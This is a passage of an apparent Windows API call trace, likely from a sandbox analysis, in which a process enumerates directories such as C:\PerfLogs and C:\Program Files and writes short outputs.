	[0084.198] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0084.198] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0084.199] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x39, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0084.199] GetFileAttributesExW (in: lpFileName="C:\\PerfLogs" (normalized: "c:\\perflogs"), fInfoLevelId=0x0, lpFileInformation=0xc000031af0 | out: lpFileInformation=0xc000031af0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0084.205] CreateFileW (lpFileName="C:\\PerfLogs" (normalized: "c:\\perflogs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0084.205] VirtualAlloc (lpAddress=0xc00049a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00049a000
	[0084.206] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*", lpFindFileData=0xc0000318a8 | out: lpFindFileData=0xc0000318a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dec0
	[0084.206] VirtualAlloc (lpAddress=0xc00049c000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00049c000
	[0084.207] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.207] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0084.207] FindClose (in: hFindFile=0x1619f39dec0 | out: hFindFile=0x1619f39dec0) returned 1
	[0084.207] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0) returned 0
	[0084.207] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x19, lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0) returned 0
	[0084.207] GetFileAttributesExW (in: lpFileName="C:\\Program Files" (normalized: "c:\\program files"), fInfoLevelId=0x0, lpFileInformation=0xc000031af0 | out: lpFileInformation=0xc000031af0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xeda3c44c, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xeda3c44c, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0084.207] CreateFileW (lpFileName="C:\\Program Files" (normalized: "c:\\program files"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0084.207] FindFirstFileW (in: lpFileName="C:\\Program Files\\*", lpFindFileData=0xc0000318a8 | out: lpFindFileData=0xc0000318a8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xeda3c44c, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xeda3c44c, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39df20
	[0084.207] FindNextFileW (in: hFindFile=0x1619f39df20, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xeda3c44c, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xeda3c44c, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.208] FindNextFileW (in: hFindFile=0x1619f39df20, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1
	[0084.208] FindNextFileW (in: hFindFile=0x1619f39df20, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a307d95, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5d0779b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5d0779b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0084.208] FindNextFileW (in: hFindFile=0x1619f39df20, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe9ceadd8, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe9ceadd8, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1
	[0084.208] FindNextFileW (in: hFindFile=0x1619f39df20, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xe71239bc, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe71239bc, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1
	[0084.208] FindNextFileW (in: hFindFile=0x1619f39df20, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5b055a0, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe5b055a0, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~2")) returned 1
	[0084.208] FindNextFileW (in: hFindFile=0x1619f39df20, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe71e2486, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe71e2486, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office 15", cAlternateFileName="MICROS~1")) returned 1
	[0084.208] FindNextFileW (in: hFindFile=0x1619f39df20, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe99e772e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe5b77d5b, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe5b77d5b, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1
	[0084.208] FindNextFileW (in: hFindFile=0x1619f39df20, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7064c17, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe7064c17, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1
	[0084.208] FindNextFileW (in: hFindFile=0x1619f39df20, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe725889b, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe725889b, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1
	[0084.208] FindNextFileW (in: hFindFile=0x1619f39df20, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x59f2f4b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xe9ceadd8, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe9ceadd8, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rempl", cAlternateFileName="")) returned 1
	[0084.208] FindNextFileW (in: hFindFile=0x1619f39df20, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xd2709a20, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xa747e827, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2709a20, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1
	[0084.208] FindNextFileW (in: hFindFile=0x1619f39df20, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4c509d45, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xe9ceadd8, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe9ceadd8, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UNP", cAlternateFileName="")) returned 1
	[0084.208] FindNextFileW (in: hFindFile=0x1619f39df20, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe7064c17, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe7064c17, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1
	[0084.208] FindNextFileW (in: hFindFile=0x1619f39df20, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xe5b2b7c8, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe5b2b7c8, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender Advanced Threat Protection", cAlternateFileName="WIF4A9~1")) returned 1
	[0084.208] FindNextFileW (in: hFindFile=0x1619f39df20, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe71e2486, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe71e2486, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~2")) returned 1
	[0084.208] FindNextFileW (in: hFindFile=0x1619f39df20, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e4faee, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9123675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1
	[0084.210] FindNextFileW (in: hFindFile=0x1619f39df20, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe71499ad, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe71499ad, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Multimedia Platform", cAlternateFileName="WINDOW~3")) returned 1
	[0084.210] FindNextFileW (in: hFindFile=0x1619f39df20, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe71239bc, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe71239bc, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~4")) returned 1
	[0084.210] FindNextFileW (in: hFindFile=0x1619f39df20, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe7244e92, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe7244e92, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WI8A19~1")) returned 1
	[0084.210] FindNextFileW (in: hFindFile=0x1619f39df20, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe71bdfa5, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe71bdfa5, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1
	[0084.210] FindNextFileW (in: hFindFile=0x1619f39df20, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92acc65, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Security", cAlternateFileName="WIDB62~1")) returned 1
	[0084.210] FindNextFileW (in: hFindFile=0x1619f39df20, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe71e2486, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe71e2486, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1
	[0084.210] FindNextFileW (in: hFindFile=0x1619f39df20, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8da88b6d, ftLastAccessTime.dwHighDateTime=0x1d3274e, ftLastWriteTime.dwLowDateTime=0x8da88b6d, ftLastWriteTime.dwHighDateTime=0x1d3274e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsApps", cAlternateFileName="WI7DB9~1")) returned 1
	[0084.210] FindNextFileW (in: hFindFile=0x1619f39df20, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe71e2486, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe71e2486, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1
	[0084.210] FindNextFileW (in: hFindFile=0x1619f39df20, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0084.210] FindClose (in: hFindFile=0x1619f39df20 | out: hFindFile=0x1619f39df20) returned 1
	[0084.210] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x29, lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0) returned 0
	[0084.210] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files" (normalized: "c:\\program files\\common files"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0084.211] VirtualAlloc (lpAddress=0xc0004a0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004a0000
	[0084.211] CreateFileW (lpFileName="C:\\Program Files\\Common Files" (normalized: "c:\\program files\\common files"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0084.211] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dce0
	[0084.211] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.212] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1
	[0084.212] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft shared", cAlternateFileName="MICROS~1")) returned 1
	[0084.212] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1
	[0084.212] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1
	[0084.212] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0084.212] VirtualAlloc (lpAddress=0xc0004a2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004a2000
	[0084.212] FindClose (in: hFindFile=0x1619f39dce0 | out: hFindFile=0x1619f39dce0) returned 1
	[0084.212] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x37, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
